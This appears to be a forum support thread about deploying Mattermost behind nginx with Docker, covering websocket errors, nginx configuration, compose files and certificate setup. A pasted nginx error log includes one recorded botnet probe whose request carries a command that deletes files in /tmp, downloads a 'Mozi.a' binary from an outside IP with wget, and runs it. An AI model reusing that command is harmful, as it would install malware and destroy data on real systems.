This is OK, mailing has not been configured and you will not be able to send mails until you do. Once mattermost is up and running, login to the system console and set up mailing then.
The other two lines are just debug logs, so if your nginx backend is configured properly now (including a reload for the changes to take effect), you should be able to see the web application now when connecting to https://sub.domain.com - can you confirm?
Ah itâs all working. Was a docker network change. Thank you for helping meâŚ
Just got one little thing, i have the following error popping up. I followed all the troubleshoots but it keeps appearing.
Please check connection, Mattermost unreachable. If issue persists, ask administrator to check WebSocket port.
{"timestamp":"2022-08-21 05:20:20.462 Z","level":"error","msg":"SimpleWorker: Failed to get active user count","caller":"jobs/base_workers.go:83","worker":"ProductNotices","job_id":"ektty8bxmffruximwo5ujzxo9r","error":"UpdateProductNotices: Fetching product notices failed, Get \"https://notices.mattermost.com/\": dial tcp: lookup notices.mattermost.com: Try again"}
{"timestamp":"2022-08-21 06:20:16.105 Z","level":"info","msg":"SimpleWorker: Job is complete","caller":"jobs/base_workers.go:88","worker":"ProductNotices","job_id":"nxz9qe5uctr9me41x3rk8ur5fw"}
{"timestamp":"2022-08-21 07:20:21.663 Z","level":"error","msg":"Worker: Failed to fetch product notices","caller":"product_notices/worker.go:24","worker":"product_notices","job_id":"xt6ex9p4wbf9dj81u5urf9irpa","error":"UpdateProductNotices: Fetching product notices failed, Get \"https://notices.mattermost.com/\": dial tcp: lookup notices.mattermost.com: Try again"}
{"timestamp":"2022-08-21 07:20:21.664 Z","level":"error","msg":"SimpleWorker: Failed to get active user count","caller":"jobs/base_workers.go:83","worker":"ProductNotices","job_id":"xt6ex9p4wbf9dj81u5urf9irpa","error":"UpdateProductNotices: Fetching product notices failed, Get \"https://notices.mattermost.com/\": dial tcp: lookup notices.mattermost.com: Try again"}
{"timestamp":"2022-08-21 08:20:22.268 Z","level":"error","msg":"Worker: Failed to fetch product notices","caller":"product_notices/worker.go:24","worker":"product_notices","job_id":"i9hbqbfegpy1zy1jibqde6nfur","error":"UpdateProductNotices: Fetching product notices failed, Get \"https://notices.mattermost.com/\": dial tcp: lookup notices.mattermost.com: Try again"}
{"timestamp":"2022-08-21 08:20:22.268 Z","level":"error","msg":"SimpleWorker: Failed to get active user count","caller":"jobs/base_workers.go:83","worker":"ProductNotices","job_id":"i9hbqbfegpy1zy1jibqde6nfur","error":"UpdateProductNotices: Fetching product notices failed, Get \"https://notices.mattermost.com/\": dial tcp: lookup notices.mattermost.com: Try again"}
{"timestamp":"2022-08-21 08:28:58.991 Z","level":"error","msg":"Failed to upgrade websocket connection.","caller":"web/context.go:105","path":"/api/v4/websocket","request_id":"z5k58xoietntbktg34j45bp1zw","ip_addr":"172.19.0.6","user_id":"h5bx3gb5y7dgjx8sejhoj1panh","method":"GET","err_where":"connect","http_code":500,"err_details":"websocket: the client is not using the websocket protocol: 'upgrade' token not found in 'Connection' header"}```This looks like an error in your nginx configuration. Are you sure you properly support websockets there? Please compare your configuration with the example nginx.conf on the Mattermost documentation pages.
Think i have too much in docker and things are all over the place. I have NGINX proxy manager which gives out SSL do i still need that for mattermost?
No, if youâre running nginx in a separate container and do not use the one from the Mattermost docker deployment, youâre good to go as long as the relevant configuration necessary for Mattermost as outlined in the documentation is being made available.
Mattermost works perfectly fine with being SSL-offloaded by a reverse proxy in front of it, so if you set up SSL in your nginx container, you do not need to do that in the Mattermost server again. Just make sure to use the IP of your Mattermost server (127.0.0.1 or localhost if itâs on the same machine) and the default port 8065 for the nginx upstream configuration.
1 Like
So as i have NGINX and NGINX Proxy Manager. In the mattermost nginx.conf file do i need to copy the whole of it and then edit the correct domains and add the container ip?
Iâm not sure - hard to say without seeing your config file. You will need the Mattermost related configuration for nginx, the caching part is not necessary, but everything else.
If you can share your config, I can tell you what parts need to be added and where.
So i added this into the nginx.config file
upstream backend {
server 172.23.0.2:8065;
keepalive 32;
}
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=mattermost_cache:10m max_size=3g inactive=120m use_temp_path=off;
server {
listen 80 default_server;
server_name mattermost.mywebsite.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl http2;
server_name mattermost.mywebsite.com;
http2_push_preload on; # Enable HTTP/2 Server Push
ssl on;
ssl_certificate /etc/letsencrypt/live/{domain-name}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{domain-name}/privkey.pem;
ssl_session_timeout 1d;
# Enable TLS versions (TLSv1.3 is required upcoming HTTP/3 QUIC).
ssl_protocols TLSv1.2 TLSv1.3;
# Enable TLSv1.3's 0-RTT. Use $ssl_early_data when reverse proxying to
# prevent replay attacks.
#
# @see: https://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_early_data
ssl_early_data on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384';
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:50m;
# HSTS (ngx_http_headers_module is required) (15768000 seconds = six months)
add_header Strict-Transport-Security max-age=15768000;
# OCSP Stapling ---
# fetch OCSP records from URL in ssl_certificate and cache them
ssl_stapling on;
ssl_stapling_verify on;
add_header X-Early-Data $tls1_3_early_data;
location ~ /api/v[0-9]+/(users/)?websocket$ {
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
client_max_body_size 50M;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Frame-Options SAMEORIGIN;
proxy_buffers 256 16k;
proxy_buffer_size 16k;
client_body_timeout 60;
send_timeout 300;
lingering_timeout 5;
proxy_connect_timeout 90;
proxy_send_timeout 300;
proxy_read_timeout 90s;
proxy_http_version 1.1;
proxy_pass http://backend;
}
location / {
client_max_body_size 50M;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Frame-Options SAMEORIGIN;
proxy_buffers 256 16k;
proxy_buffer_size 16k;
proxy_read_timeout 600s;
proxy_cache mattermost_cache;
proxy_cache_revalidate on;
proxy_cache_min_uses 2;
proxy_cache_use_stale timeout;
proxy_cache_lock on;
proxy_http_version 1.1;
proxy_pass http://backend;
}
}
# This block is useful for debugging TLS v1.3. Please feel free to remove this
# and use the `$ssl_early_data` variable exposed by NGINX directly should you
# wish to do so.
map $ssl_early_data $tls1_3_early_data {
"~." $ssl_early_data;
default "";
}
This looks good to me. Just make sure that nginx is able to connect to 172.23.0.2:8065.
If you experience problems with this configuration, please check your /var/log/nginx/error.log file for hints and if this does not help, please post the symptoms (screenshots, error messages, etc.) here so we can have a look at it.
These are the errors i can find in my nginx
2022/08/26 02:27:39 [error] 25#25: *13 open() "/usr/share/nginx/html/actuator/gateway/routes" failed (2: No such file or directory), client: 1.2.456.456, server: localhost, request: "GET /actuator/gateway/routes HTTP/1.1", host: "000.123.456.101:8080"
2022/08/26 02:35:10 [error] 25#25: *14 open() "/usr/share/nginx/html/board.cgi" failed (2: No such file or directory), client: 112.53.155.59, server: localhost, request: "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://102.33.41.66:59955/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron HTTP/1.0"
2022/08/26 04:31:42 [error] 25#25: *26 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 71.104.45.78, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "000.123.456.101:8080"
2022/08/26 05:25:53 [error] 25#25: *29 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 192.168.3.45, server: localhost, request: "GET /favicon.ico HTTP/1.1", host: "mywebsite.com
Hmm⌠These errors are not related to your Mattermost configuration here, there must be something else in the config which causes the other configuration not to be used. Do you have access logging active in nginx? If so, can you also check the /var/log/nginx/access.log file to see if the requests are actually arriving at the system?
Can you please post the full output of nginx -T? Maybe some configuration options are overriding each otherâŚ
I am having trouble accessing the access.log in my nginx container. Just doesnt seem to want to load up.
Here is the full output of nginx -T
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
#tcp_nopush on;
keepalive_timeout 65;
#gzip on;
include /etc/nginx/conf.d/*.conf;
}
# configuration file /etc/nginx/mime.types:
types {
text/html html htm shtml;
text/css css;
text/xml xml;
image/gif gif;
image/jpeg jpeg jpg;
application/javascript js;
application/atom+xml atom;
application/rss+xml rss;
text/mathml mml;
text/plain txt;
text/vnd.sun.j2me.app-descriptor jad;
text/vnd.wap.wml wml;
text/x-component htc;
image/avif avif;
image/png png;
image/svg+xml svg svgz;
image/tiff tif tiff;
image/vnd.wap.wbmp wbmp;
image/webp webp;
image/x-icon ico;
image/x-jng jng;
image/x-ms-bmp bmp;
font/woff woff;
font/woff2 woff2;
application/java-archive jar war ear;
application/json json;
application/mac-binhex40 hqx;
application/msword doc;
application/pdf pdf;
application/postscript ps eps ai;
application/rtf rtf;
application/vnd.apple.mpegurl m3u8;
application/vnd.google-earth.kml+xml kml;
application/vnd.google-earth.kmz kmz;
application/vnd.ms-excel xls;
application/vnd.ms-fontobject eot;
application/vnd.ms-powerpoint ppt;
application/vnd.oasis.opendocument.graphics odg;
application/vnd.oasis.opendocument.presentation odp;
application/vnd.oasis.opendocument.spreadsheet ods;
application/vnd.oasis.opendocument.text odt;
application/vnd.openxmlformats-officedocument.presentationml.presentation
pptx;
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
xlsx;
application/vnd.openxmlformats-officedocument.wordprocessingml.document
docx;
application/vnd.wap.wmlc wmlc;
application/wasm wasm;
application/x-7z-compressed 7z;
application/x-cocoa cco;
application/x-java-archive-diff jardiff;
application/x-java-jnlp-file jnlp;
application/x-makeself run;
application/x-perl pl pm;
application/x-pilot prc pdb;
application/x-rar-compressed rar;
application/x-redhat-package-manager rpm;
application/x-sea sea;
application/x-shockwave-flash swf;
application/x-stuffit sit;
application/x-tcl tcl tk;
application/x-x509-ca-cert der pem crt;
application/x-xpinstall xpi;
application/xhtml+xml xhtml;
application/xspf+xml xspf;
application/zip zip;
application/octet-stream bin exe dll;
application/octet-stream deb;
application/octet-stream dmg;
application/octet-stream iso img;
application/octet-stream msi msp msm;
audio/midi mid midi kar;
audio/mpeg mp3;
audio/ogg ogg;
audio/x-m4a m4a;
audio/x-realaudio ra;
video/3gpp 3gpp 3gp;
video/mp2t ts;
video/mp4 mp4;
video/mpeg mpeg mpg;
video/quicktime mov;
video/webm webm;
video/x-flv flv;
video/x-m4v m4v;
video/x-mng mng;
video/x-ms-asf asx asf;
video/x-ms-wmv wmv;
video/x-msvideo avi;
}
# configuration file /etc/nginx/conf.d/default.conf:
server {
listen 80;
listen [::]:80;
server_name localhost;
#access_log /var/log/nginx/host.access.log main;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
Your nginx config states that all subfiles in /etc/nginx/conf.d/*.conf should be loaded, but your mattermost config is not being loaded. Are you sure that your mattermost configuration is stored in this directory and matches the search-wildcard? The full path to the file should be /etc/nginx/conf.d/mattermost.conf. If you do not see your configuration in the nginx -T output, it is not being loaded, so please try to get this config activated.
I think I know what I have done I tried to put the mattermost.conf in the nginx.conf. Sorry about this I am still trying to get my head around docker etc. I will need to add the mattermost.conf in the container?
I am guessing this docker compose is incorrect?
web:
image: nginx
container_name: site_main_html
volumes:
- ./mainsite:/usr/share/nginx/html
- ./mattermost.conf:/etc/nginx/conf.d/mattermost.conf
ports:
- "8080:80"
This should work, but it will still leave you without https support and your mattermost.conf file also references TLS certificate files in the path /etc/letsencrypt/live/... which are not available inside the container then, so you would also have to map this directory to the container.
The backend IP (172.23.0.2) might also not be correct and changing, since all docker private IPs are dynamic, so it would be better to refer to the Mattermost application container with its name inside the docker context; not sure what itâs name is in your deployment, but usually, itâs mattermost.
Is there any specific reason why you do not want to use the mattermost nginx configuration which is available as part of the docker distribution directly (docker-compose.nginx.yml)?
I can use the docker-compose.nginx.yml configuration I just wasnât sure if it would interfere with things. I have a lot in my docker-compose.yml file. Would it be best if I have its own separate location?
Yes, definitely - every application group should have itâs own directory with itâs own docker-compose files, thatâs the easiest way to make sure there are no overlappings.
Alternatively, you can rename the docker-compose.yml from mattermost to mattermost-docker-compose.yml and so on and spawn it up in a shared directory then.
The containers itself will not interfere with each other, as long as they do not have the same names, port or volume mappings, so you cannot bind two nginx containers on port 80 locally of your system, because as soon as the first one bound to it, the other one wonât be able to acquire a lock on the socket.
I have put everything into its own directory so its all contained.
My mattermost_nginx is not giving an IP or port which i changed ports to something different and not 80 and 443 in the .env file
version: "2.4"
services:
nginx:
depends_on:
- mattermost
container_name: nginx_mattermost
image: nginx:${NGINX_IMAGE_TAG}
restart: ${RESTART_POLICY}
security_opt:
- no-new-privileges:true
pids_limit: 100
read_only: true
tmpfs:
- /var/run
- /var/cache
- /var/log/nginx
volumes:
- ${NGINX_CONFIG_PATH}:/etc/nginx/conf.d:ro
- ${NGINX_DHPARAMS_FILE}:/dhparams4096.pem
- ${CERT_PATH}:/cert.pem:ro
- ${KEY_PATH}:/key.pem:ro
- shared-webroot:/usr/share/nginx/html
environment:
# timezone inside container
- TZ
ports:
- ${HTTPS_PORT}:443
- ${HTTP_PORT}:80
# Shared volume for Let's Encrypt certificate renewal with a webroot
volumes:
shared-webroot:
name: shared-webroot
# This network name is being used for Let's Encrypt certificate renewal
networks:
default:
name: mattermost
Maybe your nginx is not starting due to missing certificate files. Did you follow the instructions to create the certificate files or are the paths in your .env file pointing to the correct certificates in the right format?
You can try to start the containers in foreground, that way you should see potential error messages. To do so, please skip the -d flag (detach) at the end of the docker compose ... command.
Iâd also be interested in the output of docker ps (you might need to open a second terminal once the containers are running without the detach flag).
Yeah it is something related to the certificates.
Maybe I did the first step incorrectly? Where should have i ran it?
bash scripts/issue-certificate.sh -d <YOUR_MM_DOMAIN> -o ${PWD}/certs
also should there be 2 env files one for docker-compose.yml and the other for docker-compose.nginx.yml? I am looking IPâs and ports if both of them are switched on